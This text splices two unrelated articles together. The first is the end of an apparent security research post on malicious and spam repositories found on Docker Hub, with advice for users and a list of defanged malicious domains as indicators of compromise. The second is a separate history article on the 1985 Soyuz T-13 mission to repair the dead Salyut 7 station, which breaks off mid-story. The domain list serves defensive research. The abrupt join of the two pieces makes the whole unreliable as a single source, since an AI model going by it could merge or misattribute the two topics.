Unlike the previous two campaigns, which were blatantly malicious (phishing / malware download) the aim of this campaign is not so clear. While the repositories themselves were obviously not uploaded in good faith, the content is mostly harmless – just a random description string with a username generated by the pattern “axaaaaaxxx” where a is a letter and x is a digit. All repositories published by these users have the same name: website.

**It is possible that the campaign was used as some sort of a stress test before enacting the truly malicious campaigns.**

This campaign also has a different registration routine. As we can see from the graph, the actors behind this campaign created a thousand repositories daily across three years! This is unlike the previous campaigns, which focused on generating imageless repositories in a much shorter time. In this campaign the attackers published only one repository per created user, whereas in the previous campaigns, a single user was used to publish thousands of repositories.

![](https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/https://media.jfrog.com/wp-content/uploads/2024/04/29175607/Img10.png)_Malware repositories registered per day by “Website SEO” campaign_

In this campaign, the repository description usually contains a short, seemingly random, and senseless phrase without any other information.
Some of the repositories contain links to social network sites, but these seem to contain mostly garbage as well, and not malicious URLs or files –

![Repositories containing links to social network sites](https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/https://media.jfrog.com/wp-content/uploads/2024/04/21150903/Image13_repositories-contain-links-to-social-network-sites.png)

![Repositories containing links to social network sites](https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/https://media.jfrog.com/wp-content/uploads/2024/04/21150938/Image14_repositories-contain-links-to-social-network-sites.png)_Example of a Website SEO Campaign Repositories’ Description_

Below are some user names from this campaign, with the relevant descriptions in the repository documentation –

![User names with the relevant descriptions in the repository documentation](https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/https://media.jfrog.com/wp-content/uploads/2024/04/21151115/Image15_user-names-with-the-relevant-descriptions-in-the-repository-documentation.png)_Random Phrases from the Website SEO Campaign’s Repositories_

When we searched for these usernames, we found that this campaign also targeted other platforms that have open contribution policies –

![Campaign targeting platforms that have a loose content moderation policy](https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/https://media.jfrog.com/wp-content/uploads/2024/04/21151317/Image16_Campaign-targeting-platforms-that-have-a-loose-content-moderation-policy.png)_Website SEO Campaign Usernames Used in other Platforms_

## Disclosure to Docker Inc.

Prior to this publication, the JFrog research team disclosed all findings to the Docker security team, including 3.2M repositories that were suspected as hosting malicious or unwanted content. The Docker security team quickly removed all of the malicious and unwanted repositories from Docker Hub. We would like to thank the Docker security team for handling this disclosure quickly and professionally, and are happy to contribute to the continued safe use of the Docker ecosystem.

## How Can Docker Hub Users Avoid Similar Attacks?

Users should prefer using Docker images that are marked in Docker Hub as “Trusted Content” –

![](https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/https://media.jfrog.com/wp-content/uploads/2024/04/30145322/img1-1.png)

Docker Hub has designated tags for trusted content that users can look for when browsing an image’s description page. The first tag is the [Docker Official Image](https://docs.docker.com/trusted-content/official-images/) tag, otherwise known as Docker Hub’s Library, a set of curated Docker repositories. The Library consists of repositories that are maintained by trusted and well-known software development foundations, organizations and companies, such as Python, Ubuntu and Node. The second tag is the [Verified Publisher](https://docs.docker.com/trusted-content/dvp-program/) tag, which is assigned to every repository that is part of the Docker Verified Publisher Program. This set contains repositories from commercial publishers, who have been verified by Docker Hub. And lastly, the [Sponsored OSS](https://docs.docker.com/trusted-content/dsos-program/) tag, which is assigned to repositories of open source projects that are sponsored by Docker Hub.

When browsing a repository’s page, a badge that indicates that the repository is part of one of the aforementioned types would appear next to the repository’s name, at the top of the page –

![](https://speedmedia.jfrog.com/08612fe1-9391-4cf3-ac1a-6dd49c36b276/https://media.jfrog.com/wp-content/uploads/2024/04/30145407/img2-1.png)

Following these guidelines would decrease the risk of being manipulated into following a malicious link outside of Docker Hub from a repository’s description page. For example – none of the malicious repositories mentioned in this blog was marked as “Trusted Content”.

## Summary

Unlike typical attacks targeting developers and organizations directly, the attackers in this case tried to leverage Docker Hub’s platform credibility, making it more difficult to identify the phishing and malware installation attempts.

Almost three million malicious repositories, some of them active for over three years highlight the attackers’ continued misuse of the Docker Hub platform and the need for constant moderation on such platforms.

## IoCs

failhostingpolp\[.\]ru
gts794\[.\]com
blltly\[.\]com
ltlly\[.\]com
byltly\[.\]com
bytlly\[.\]com
cinurl\[.\]com
fancli\[.\]com
geags\[.\]com
gohhs\[.\]com
imgfil\[.\]com
jinyurl\[.\]com
miimms\[.\]com
picfs\[.\]com
shoxet\[.\]com
shurll\[.\]com
ssurll\[.\]com
tinourl\[.\]com
tinurli\[.\]com
tinurll\[.\]com
tiurll\[.\]com
tlniurl\[.\]com
tweeat\[.\]com
urlca\[.\]com
urlcod\[.\]com
urlgoal\[.\]com
urllie\[.\]com
urllio\[.\]com
urloso\[.\]com
urluso\[.\]com
urluss\[.\]com
vittuv\[.\]com
rd\[.\]lesac\[.\]ru
soneservice\[.\]shop


The little-known Soviet mission to rescue a dead space station (2014)
https://arstechnica.com/science/2014/09/the-little-known-soviet-mission-to-rescue-a-dead-space-station/

The following story happened in 1985 but subsequently vanished into obscurity. Over the years, many details have been twisted, others created. Even the original storytellers got some things just plain wrong. After extensive research, writer Nickolai Belakovski is able to present, for the first time to an English-speaking audience, the complete story of Soyuz T-13’s mission to save Salyut 7, a fascinating piece of in-space repair history.

It’s getting dark, and Vladimir Dzhanibekov is cold. He has a flashlight, but no gloves. Gloves make it difficult to work, and he needs to work quickly. His hands are freezing, but it doesn’t matter. His crew’s water supplies are limited, and if they don’t fix the station in time to thaw out its water supply, they’ll have to abandon it and go home, but the station is too important to let that happen. Quickly, the sun sets. Working with the flashlight by himself is cumbersome, so Dzhanibekov returns to the ship that brought them to the station to warm up and wait for the station to complete its pass around the night side of the Earth. \[1\]

He’s trying to rescue Salyut 7, the latest in a series of troubled yet increasingly successful Soviet space stations. Its predecessor, Salyut 6, finally returned the title of longest manned space mission to the Soviets, breaking the 84-day record set by Americans on Skylab in 1974 by 10 days. A later mission extended that record to 185 days. After Salyut 7’s launch into orbit in April 1982, the first mission to the new station further extended that record to 211 days. The station was enjoying a relatively trouble-free start to life. \[4\]

However, this was not to last. On February 11, 1985, while Salyut 7 was in orbit on autopilot awaiting its next crew, mission control (TsUP) noticed something was off. Station telemetry reported that there had been a surge of current in the electrical system, which led to the tripping of overcurrent protection and the shutdown of the primary radio transmitter circuits. The backup radio transmitters had been automatically activated, and as such there was no immediate threat to the station. Mission controllers, very tired now that the end of their 24-hour shift was approaching, made a note to call specialists from the design bureaus for the radio and electrical systems. The specialists would analyze the situation, and produce a report and recommendation, but for now the station was fine, and the next shift was ready to come on duty.\[9\]

Without waiting for the specialists to arrive, or perhaps not bothering to call them in the first place, the controllers on the next shift decided to reactivate the primary radio transmitter. Perhaps the overcurrent protection had been tripped accidentally, and if not, then it should still be functional and should still activate if there really was a problem. The controllers, acting against established tradition and procedures of their office, sent the command to reactivate the primary radio transmitter. Instantly, a cascade of electrical shorts swept through the station, and knocked out not only the radio transmitters, but also the receivers. At 1:20pm and 51 seconds on February 11, 1985, Salyut 7 fell silent and unresponsive. \[8\]\[9\]

## What do we do now?

The situation put flight controllers in an uncomfortable position. One option available to them was to simply abandon Salyut 7 and wait for its successor, Mir, to become available before continuing the manned space program. Mir was on schedule to be launched within one year, but waiting for Mir to become available would not only mean suspending the space program for a year; it also meant that a significant amount of scientific work and engineering tests planned for Salyut 7 would have to go undone. Moreover, admitting defeat would be an embarrassment for the Soviet space program, particularly painful considering the multitude of previous failures in the Salyut series as well as the apparent successes the Americans were enjoying with the Space Shuttle. \[9\]

There was only one other option: fly a repair crew to the station to fix it from the inside, manually. But this could easily become yet another failure. The standard procedures for docking to a space station were entirely automated and relied heavily on information from the station itself about its precise orbital and spatial coordinates. During those rare occurrences when the automated system failed and a manual approach was required, the failures were all within several hundred meters of the station. How does one approach a silent space station? \[9\] The lack of communication presented another problem: there was no way to know the status of the onboard systems. While the station was designed to fly autonomously, the automated systems could only cope with so many failures before human intervention would be required. The station could be fine upon the repair crew's arrival, requiring no more repair work than replacing the damaged transmitters, or there could have been a fire on the station, or it could have depressurized from having been struck by space debris, etc.; there would be no way to know.\[3\]

If there was a meeting in which top managers discussed and weighed all the options, the notes of that meeting have not been made public. What \*is\* known, however, is that the Soviets decided to attempt a repair mission. This would mean rewriting the book on docking procedures from scratch and hoping that nothing else went wrong aboard the station while communication was down, because if something else did go wrong, the repair crew might not be able to handle it. It was a bold move.

## “Docking with a non-cooperative object”

The first order of business for the repair mission was figuring out how they would get to the station. For an approach to the station under better circumstances, the Soyuz (a 3-seat ship used to ferry cosmonauts to and from space stations) would receive information from the station via mission control (TsUP) as soon as it reached orbit, long before the station would be visible to the crew. This communication would contain information about the orbit of the space station so that the visiting craft could plot a rendezvous orbit. Once the two craft were 20-25km apart, a direct line of communication would be established between the station and the ship, and the automated system would bring the two craft together and complete the docking.\[3\]

![Part 1: A depiction of a typical Soyuz rendezvous and docking. Part 2: A depiction of the modified rendezvous and docking procedure employed for Soyuz T-13. Notice how in parts 2b and 2c the ship is actually flying sideways.](https://cdn.arstechnica.net/wp-content/uploads/2014/09/letopisx1.jpeg)

Part 1: A depiction of a typical Soyuz rendezvous and docking. Part 2: A depiction of the modified rendezvous and docking procedure employed for Soyuz T-13. Notice how in parts 2b and 2c the ship is actually flying sideways.

[epizodsspace.noip.org (translated by the author)](http://epizodsspace.no-ip.org/bibl/n_i_j/1985/11/letopis.html.)

Although all Soyuz pilots were trained to perform a manual docking, it was rare for the automated system to fail. Of those rare failures, the worst was in June 1982 on Soyuz T-6 when a computer failure stopped the automated docking process 900m away from the station. Vladimir Dzhanibekov immediately took over controls and successfully docked his Soyuz with Salyut 7 a full 14 minutes ahead of schedule \[4\]. Naturally, Dzhanibekov was the leading candidate to pilot any proposed mission to rescue Salyut 7.

An entirely new set of docking techniques had to be developed, and this was done under a project titled “docking with a non-cooperative object.” \[5\] The station’s orbit would be measured using ground-based radar, and this information would be communicated to the Soyuz, which would then plot a rendezvous course. The goal was to get the ship within 5km of the station, from which point it was deemed a manual docking was technically possible. \[3\] The conclusion of those responsible for developing these new techniques were that the odds of mission success were 70 to 80 percent, after proper modifications to the Soyuz. \[2\],\[3\] The Soviet government accepted the risk, deeming the station too valuable to simply let it fall from orbit uncontrolled.

Modifications to the Soyuz began. The automated docking system would be removed entirely, and a laser rangefinder installed in the cockpit to assist the crew in determining their distance and approach rate. The crew would also bring night vision goggles in case they had to dock with the station on the night side. The third seat of the ship was removed, and extra supplies, like food and, as would later prove critical, water, were brought on board. The weight saved by the removal of the automatic system and the third chair were used to fill the propellant tanks to their maximum possible level. \[1\],\[3\],\[11\]

## Who would fly the mission?

When it came to selecting a flight crew, two things were very important. First of all, the pilot should have had experience performing a manual docking in orbit, not just in simulators, and secondly, the flight engineer would need to be very familiar with Salyut 7’s systems. Only three cosmonauts had completed a manual docking in orbit. Leonid Kizim, Yuri Malyshev, and Vladimir Dzhanibekov. Kizim had only recently returned from a long duration mission to Salyut 7, and was still undergoing rehabilitation from his spaceflight, which ruled him out as a possible candidate. Malyshev had limited spaceflight experience, and had not trained for Extra-Vehicular Activity (EVA, or spacewalk), which would be required later in the mission to augment the station’s solar panels, provided the rehabilitation of the space station went well.\[1\]

This left Dzhanibekov, who had flown in space four times for a week or two each time, but had trained for long duration missions and for EVA. However, he was restricted from long duration flight by the medical community. Being at the top of the short list for mission commander, Dzhanibekov was quickly placed into the care of physicians who, after several weeks of medical tests and evaluation, cleared him for a flight lasting no more than 100 days. \[1\]

To fulfill the role of flight engineer the list was even shorter: just one person. Victor Savinikh had flown once before, on a 74 day mission to Salyut 6. During that mission he played host to Dzhanibekov and Mongolia’s first cosmonaut as they visited the station on Soyuz 39. Moreover, he was already in the process of training for the next long-duration mission to Salyut 7, which had been scheduled to launch on May 15, 1985. \[1\]

By the middle of March, the crew had been firmly decided. Vladimir Dzhanibekov and Victor Savinikh were chosen to attempt one of the boldest, most complicated in-space repair efforts to date. \[1\]

## Po’yehali! Let’s go!

![Salyut 7 as seen from the approaching Soyuz T-13 crew. Notice how the solar panels are slightly askew. ](https://cdn.arstechnica.net/wp-content/uploads/2014/09/Salyut7.jpg)

Salyut 7 as seen from the approaching Soyuz T-13 crew. Notice how the solar panels are slightly askew.

[Wikimedia](http://upload.wikimedia.org/wikipedia/en/8/82/Salyut7.jpg)

On June 6, 1985, nearly four months after contact with the station had been lost, Soyuz T-13 launched with Vladimir Dzhanibekov as commander and Victor Savinikh as flight engineer. \[1\],\[6\] After two days of flight, the station came into view.

As they approached the station, live video from their ship was being transmitted to ground controllers. To the right is one of the images controllers saw.

The controllers noticed something very wrong: the station’s solar arrays weren’t parallel. This indicated a serious failure in the system which orients the solar panels toward the sun, and immediately led to concerns about the entire electrical system of the station. \[1\]

The crew continued their approach.

> **Dzhanibekov:** “Distance, 200 meters. Engaging engines. Approaching the station at 1.5 m/s, rotational speed of the station is normal, it’s practically stable. We’re holding, and beginning our turn. Oh, the sun is in a bad spot now… there, that’s better. Docking targets aligned. Offset between the ship and the station within normal parameters. Slowing down… waiting for contact.”

Silently, slowly, the crew’s Soyuz flew toward the forward docking port of the station.

> **Savinikh:** “We have contact. We have mechanical capture.”

The successful docking to the station was a great victory, and demonstrated for the first time in history that it was possible to rendezvous and dock with virtually any object in space, but it was early to celebrate. The crew received no acknowledgement, either electrical or physical, from the station of their docking. One of the main fears about the mission, that something else would go seriously wrong while the station was out of contact, was quickly becoming a reality.

A lack of information on the crew’s screens about the pressure inside the station led to concerns that the station had de-pressurized, but the crew pressed ahead, carefully. Their first step would be to try to equalize the pressure between the ship and the station, if possible. \[1\]\[3\]